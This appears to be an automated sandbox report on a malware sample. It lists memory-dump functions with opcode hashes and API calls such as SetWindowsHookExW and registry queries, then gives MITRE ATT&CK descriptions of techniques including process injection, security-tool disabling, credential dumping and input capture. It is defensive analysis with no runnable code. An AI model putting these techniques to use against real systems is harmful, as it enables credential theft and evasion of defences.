Uniqueness

Uniqueness Score: -1.00%

Function 002E9A86, Relevance: 1.9, APIs: 1, Instructions: 437COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: dffa7411fd3a42791e9437bdbb1ad7b0a7214a1e891c61bb8f987444e58f5469
Instruction ID: e7fe07ea62dd33c3d5911a819f53f768e5a8d13b59a90fe9d90d6b2168e64d19
Opcode Fuzzy Hash: dffa7411fd3a42791e9437bdbb1ad7b0a7214a1e891c61bb8f987444e58f5469
Instruction Fuzzy Hash: D9124274A142298FCB64EF34C9487ADB7BAAF88301F6084E9D50EE7251DB749E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E9ACB, Relevance: 1.9, APIs: 1, Instructions: 430COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d0531de8520497031d11652ed6a6db365bd80f1d75d8f93ab7ed1bfb80ba3d41
Instruction ID: 1e058ade231bde20c9376ba4dba68026d09ae3d20c339adfd81ef4343070728f
Opcode Fuzzy Hash: d0531de8520497031d11652ed6a6db365bd80f1d75d8f93ab7ed1bfb80ba3d41
Instruction Fuzzy Hash: EF124274A142288FCB64EF34C9487ADB7BAAF88301F6084E9D50EE7251DB749E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E9B13, Relevance: 1.9, APIs: 1, Instructions: 423COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: cd33a1ae43f473cc58d857c453f5d824791d7aeea719a733858db62bf524e68a
Instruction ID: 821cb1183f15160151d5dbc82493147bc45a6d11b35dbbf9086dedade51248a9
Opcode Fuzzy Hash: cd33a1ae43f473cc58d857c453f5d824791d7aeea719a733858db62bf524e68a
Instruction Fuzzy Hash: 17124274A142288FCB64EF34C9487ADB7BAAF88301F6084E9D50EE7251DB749E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E9FB9, Relevance: 1.8, APIs: 1, Instructions: 251COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: bc229e6bf9799622460fd0f36721df92ec1cba09addf045b3197fd86a3802380
Instruction ID: 2f682a59bbb350a7ca09b35fee8df66b10aedb0cf1f2afd3f6d6ab7850d870c6
Opcode Fuzzy Hash: bc229e6bf9799622460fd0f36721df92ec1cba09addf045b3197fd86a3802380
Instruction Fuzzy Hash: 5EB16774A54229CFCB64DF24C9547ACB7BAAF88305F6084E9C50AE7350CB75AE85CF06

Uniqueness

Uniqueness Score: -1.00%

Function 002EA001, Relevance: 1.7, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 5a8fd907d716b414e732facf2657a9c355bae484e7d24b9f4d5e62ef866cf819
Instruction ID: 6802e2282fccfbb2b0bd76f4d4ab0e9efe4a58ccb77487497278395b1a030200
Opcode Fuzzy Hash: 5a8fd907d716b414e732facf2657a9c355bae484e7d24b9f4d5e62ef866cf819
Instruction Fuzzy Hash: 91B16874A54229CFCB64DF24C9547ACB7BAAF88305F6084E9C50AE7340CB75AE85CF46

Uniqueness

Uniqueness Score: -1.00%

Function 002EA049, Relevance: 1.7, APIs: 1, Instructions: 237COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 9a38775aa54a5fe0ffd79d898e85e692dd2d788bd1ba2ad21965a41eb65c3381
Instruction ID: c7153c2adc9d6248912b061bdd3d038173219f6fa3a56f413a52248615195fa0
Opcode Fuzzy Hash: 9a38775aa54a5fe0ffd79d898e85e692dd2d788bd1ba2ad21965a41eb65c3381
Instruction Fuzzy Hash: 13A17A74A54229CFCB64DF24C9447ACB7BAAF88305F6084E9C50AE7340CB74AE81CF46

Uniqueness

Uniqueness Score: -1.00%

Function 002EA091, Relevance: 1.7, APIs: 1, Instructions: 230COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 3d2d724a6b39943d0ef2bedbaf9b12dd4088be26340c375e7266f48069b1e482
Instruction ID: 85396cbba2863c9ab20a6859229532259ce980f1fb6b53b902ef81fcdafa78bb
Opcode Fuzzy Hash: 3d2d724a6b39943d0ef2bedbaf9b12dd4088be26340c375e7266f48069b1e482
Instruction Fuzzy Hash: 11A17A74A54229CFCB64DF25C9447ADB7BAAF88305F6084E9C50AE7340CB74AE81CF46

Uniqueness

Uniqueness Score: -1.00%

Function 002EA0D9, Relevance: 1.7, APIs: 1, Instructions: 223COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 5137c65eb6451739bbc14c53b893f088e8aeb1fa3dc07e4d967c53af1be141df
Instruction ID: 701ceab7cd68cbf3f19c09be9d9ce9741741c95662649e926caec8369ccdba97
Opcode Fuzzy Hash: 5137c65eb6451739bbc14c53b893f088e8aeb1fa3dc07e4d967c53af1be141df
Instruction Fuzzy Hash: 6FA17874A54229CFCB64DF24C9947ADB7BAAF84305F6084E9C50AE7340CB74AE81CF46

Uniqueness

Uniqueness Score: -1.00%

Function 002EA121, Relevance: 1.7, APIs: 1, Instructions: 216COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 3f0690e6bd8753cf17047fb1ce58a26895065d6bb509214d762ab2cb688de3fa
Instruction ID: 1ac8c5f6b098ed4ce867fc3a918aa0d76c4810e29777d158078b0bf9a7286e0f
Opcode Fuzzy Hash: 3f0690e6bd8753cf17047fb1ce58a26895065d6bb509214d762ab2cb688de3fa
Instruction Fuzzy Hash: 73917874A54229CBCB64DF24C9547ADB7BAAF84304F6084E9C50AE7340CB74AE81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 002EA169, Relevance: 1.7, APIs: 1, Instructions: 209COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: c0fad8ad4d9f9543370e2335d37aed34959772e1eb31fd55a9d8702a035683fe
Instruction ID: 61f7aad843d8cb657d5bcf5bbd19dcf81d071fca7a897440aedb6d55f96a85b8
Opcode Fuzzy Hash: c0fad8ad4d9f9543370e2335d37aed34959772e1eb31fd55a9d8702a035683fe
Instruction Fuzzy Hash: 9F917974A54229CBCB64DF25C9947ADB7BAAF84304F5084E9C50AE7340CF749E81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 002EA1B1, Relevance: 1.7, APIs: 1, Instructions: 202COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4342f413f18b53a22b7fe14dfe42fe6f4829a519f88731cb9b242ea17d06e067
Instruction ID: 0edff41af1643ab9279402dd10726506835628c748e286bd2c481085827f50fa
Opcode Fuzzy Hash: 4342f413f18b53a22b7fe14dfe42fe6f4829a519f88731cb9b242ea17d06e067
Instruction Fuzzy Hash: 84818974A54229CBCB24DF25C9947ADB7BAAF88304F6084E9C50AE7341CF749E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002EA1F9, Relevance: 1.7, APIs: 1, Instructions: 195COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: e7b35677e132af0695e62ac636bbe1c50fdf10fef10a037be9f1eccdf540353e
Instruction ID: 3b28dd05150dcff754af592371bb9738c5123dd6954aecd1b729ed2cceefe9d9
Opcode Fuzzy Hash: e7b35677e132af0695e62ac636bbe1c50fdf10fef10a037be9f1eccdf540353e
Instruction Fuzzy Hash: F2818874A502298BCB64DF25C9947ADB7BAAF88304FA084E9D50AE7341CF749E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002EA241, Relevance: 1.7, APIs: 1, Instructions: 188COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 180d901d73cf21f2251ddaa815d1879886352bdab5f637d39aef55d7e5d885cc
Instruction ID: 2ad2532beb80e3e2dceabc5419423968e2bffcea3e0ede8e2ac95b5661b48295
Opcode Fuzzy Hash: 180d901d73cf21f2251ddaa815d1879886352bdab5f637d39aef55d7e5d885cc
Instruction Fuzzy Hash: 87719BB4A502298BCB24EF35C9947ADB7BAAF84304F5084E9C50AE7341DF749E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002EA289, Relevance: 1.7, APIs: 1, Instructions: 181COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: bddc47d25c0221c42222c555f2c7b16b1c1ade0893b4c35ccbf6e80968ae73df
Instruction ID: e23f5a087f29b6806688f3cab547c03dce57c37d73ce636a2a20387baa3b3189
Opcode Fuzzy Hash: bddc47d25c0221c42222c555f2c7b16b1c1ade0893b4c35ccbf6e80968ae73df
Instruction Fuzzy Hash: 6571A974A502298BCB24EF35C9947ADB7BAAF84300F9084E9D50AE3341DF749E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 002EED50, Relevance: 1.6, APIs: 1, Instructions: 117registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 002EEE69

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 48fc3139fa863ec620708b23abdab9d5e71f8769275e191cd118c8dddef91e54
Instruction ID: 4cba04425ecd0b57455dd82a50e9ec1539ef4f0d2662cb618c0f5825d73944e0
Opcode Fuzzy Hash: 48fc3139fa863ec620708b23abdab9d5e71f8769275e191cd118c8dddef91e54
Instruction Fuzzy Hash: 074157B1D042999FCF11CFAAD884ADEBFF5AF48300F5A856AE818AB355D7709805CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0073FBD0, Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(0000000D,00000000,?,?), ref: 0073FC53

Memory Dump Source

Source File: 00000007.00000002.2397009061.0000000000730000.00000040.00000001.sdmp, Offset: 00730000, based on PE: false

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: e47362bac1ae08957aad7557e55f230d0a3b6abae280e83fb82358dbe97f9852
Instruction ID: a4341489cb5f30939c1449abc8602875f2034193857ba63b802601778b0a412e
Opcode Fuzzy Hash: e47362bac1ae08957aad7557e55f230d0a3b6abae280e83fb82358dbe97f9852
Instruction Fuzzy Hash: 7C2138B5D042098FDB14CFAAD844BEEFBF5EF88314F24882AD459A7250C7745945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 000BD48C, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2396631435.00000000000BD000.00000040.00000001.sdmp, Offset: 000BD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c465f1630d9013c9ec1ebe3469836b0f31e670fdb6bb036626a03fe972f085c7
Instruction ID: 216b5aeb8082ddf1e88368e53f8df430b051fc9c30a99bd452a687d9943c4846
Opcode Fuzzy Hash: c465f1630d9013c9ec1ebe3469836b0f31e670fdb6bb036626a03fe972f085c7
Instruction Fuzzy Hash: 2F213A75500604DFDB25DF10D8C0BAAFFA6FB94328F20C56AD8050B206D336D846CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 000BD578, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2396631435.00000000000BD000.00000040.00000001.sdmp, Offset: 000BD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4ca1c050c26ae7b40ccff2d18d9709cc37856b85adb4f7083e0f8fbc8b625d8
Instruction ID: 94392603ee3cb6e2aee90213afec16193f13303f830f5f15d113b5cd70010992
Opcode Fuzzy Hash: d4ca1c050c26ae7b40ccff2d18d9709cc37856b85adb4f7083e0f8fbc8b625d8
Instruction Fuzzy Hash: B72137B5604204DFDB25CF50D9C0BAAFFA5FB98318F24856EE8094B246D336D846CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0017D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2396715661.000000000017D000.00000040.00000001.sdmp, Offset: 0017D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07e27136733e237d71025f99b3067dbd4d136562a0c2d3eb6344619f89347aac
Instruction ID: c4505fe79350c68f977783722ffa3d11f24ef6772ed60d27573386845b2369cc
Opcode Fuzzy Hash: 07e27136733e237d71025f99b3067dbd4d136562a0c2d3eb6344619f89347aac
Instruction Fuzzy Hash: 2B21B075604248DFDB14DF64E984B26BBB5FF84314F24C96DE80D4B246C736D847CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0017E674, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2396715661.000000000017D000.00000040.00000001.sdmp, Offset: 0017D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d531e02fd696e8a870103cbdadcd0a1ed8460b0b2c63dd6fe7e0a0c4b79ecc68
Instruction ID: 94a0595a5e2ec403a86388d942fac8e5eb375fe177d3275809126c6349580a6d
Opcode Fuzzy Hash: d531e02fd696e8a870103cbdadcd0a1ed8460b0b2c63dd6fe7e0a0c4b79ecc68
Instruction Fuzzy Hash: 7A21F575604204EFDB08CF60D8C4B26BBF5FB88314F24C9ADE80D4B242C736E846CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0017D006, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2396715661.000000000017D000.00000040.00000001.sdmp, Offset: 0017D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0ae2aecf870dcbe56e89770e1a8cc4576e2358fdba15c6ca629cdddf72a13ec
Instruction ID: ed9717e16708a3f6bf3599db0d47abcdf807fcf062de6325627033c912ab32c9
Opcode Fuzzy Hash: f0ae2aecf870dcbe56e89770e1a8cc4576e2358fdba15c6ca629cdddf72a13ec
Instruction Fuzzy Hash: 39218B755093848FCB12CF20D994B15BF71EF46314F28C5EAD8498B2A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 000BD487, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2396631435.00000000000BD000.00000040.00000001.sdmp, Offset: 000BD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a3e2f963838384de6447d1155687e6511fd4f54f46531477d7c3f5e70716fc2
Instruction ID: 7195c3a07889b4bda4bfbd7b2765f4b64aa38763f2eda6aafa65d110ae3b3322
Opcode Fuzzy Hash: 0a3e2f963838384de6447d1155687e6511fd4f54f46531477d7c3f5e70716fc2
Instruction Fuzzy Hash: 8D11D376504640CFCB16CF10D9C4B56FFB2FB94324F24C6AAD8050B216C336D956CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 000BD573, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2396631435.00000000000BD000.00000040.00000001.sdmp, Offset: 000BD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a3e2f963838384de6447d1155687e6511fd4f54f46531477d7c3f5e70716fc2
Instruction ID: 507bcb40e6c29cb5497d14666c9c8b7dab5cafa6fd9beab51505b027f65c4c69
Opcode Fuzzy Hash: 0a3e2f963838384de6447d1155687e6511fd4f54f46531477d7c3f5e70716fc2
Instruction Fuzzy Hash: A311D376504280CFCB16CF14D5C4B56FFB1FB95324F24C5AAD8094B216D336D856CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0017E66F, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2396715661.000000000017D000.00000040.00000001.sdmp, Offset: 0017D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c03d828f45b3d24e182724d656943a25c2b74ff04a0948b5e52c7a8681a8be8f
Instruction ID: abfdb62f5c990dda03fe6f1a31ee30d4ec520af2630b0a0b237ac50ba17fc732
Opcode Fuzzy Hash: c03d828f45b3d24e182724d656943a25c2b74ff04a0948b5e52c7a8681a8be8f
Instruction Fuzzy Hash: 67119D79504280DFCB19CF14D5C4B15BFB2FB89314F28C6ADD8494B656C33AD85ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 000BD795, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2396631435.00000000000BD000.00000040.00000001.sdmp, Offset: 000BD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33a12fd9a3dda94b037eccd1f3292d6a3f148b79911a1b5045f3f4cd225c223d
Instruction ID: fe43d9d8e5fc6df3b7bdf889a14b665cd0ee94cd26b1ef880c62a5d2f69a8de6
Opcode Fuzzy Hash: 33a12fd9a3dda94b037eccd1f3292d6a3f148b79911a1b5045f3f4cd225c223d
Instruction Fuzzy Hash: 1401F7714483849BE7608A26C888BEBFFDCEF51324F18845BED051A286F7789C40C671

Uniqueness

Uniqueness Score: -1.00%

Function 000BD794, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2396631435.00000000000BD000.00000040.00000001.sdmp, Offset: 000BD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed1ae56bf0ccadd47db8d92e2f2d8cb7f88c753b355fae5229254f942487bc4c
Instruction ID: a6d87ce3c38bb83742c6863473502a8a35a644eef3f25e3d2493e6bdc543017a
Opcode Fuzzy Hash: ed1ae56bf0ccadd47db8d92e2f2d8cb7f88c753b355fae5229254f942487bc4c
Instruction Fuzzy Hash: EAF062714086849AE7608E15C888BB2FFD8EF91724F18C55AED485B286D3789C44CBB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040420E, Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2396885808.0000000000402000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2396881616.0000000000400000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e7a303fa6e26304d4cef067c2994ce94f1e7aceb7596099b044dc26e256ee47
Instruction ID: 08d361f1b0301e267e033431a466c6ddaf64d3ad0c566662f41c1da304b30274
Opcode Fuzzy Hash: 3e7a303fa6e26304d4cef067c2994ce94f1e7aceb7596099b044dc26e256ee47
Instruction Fuzzy Hash: FEE1148144E7D61EC723DBB5083AB96BF316E63214F5E95DFC0C29B093F6212829C366

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
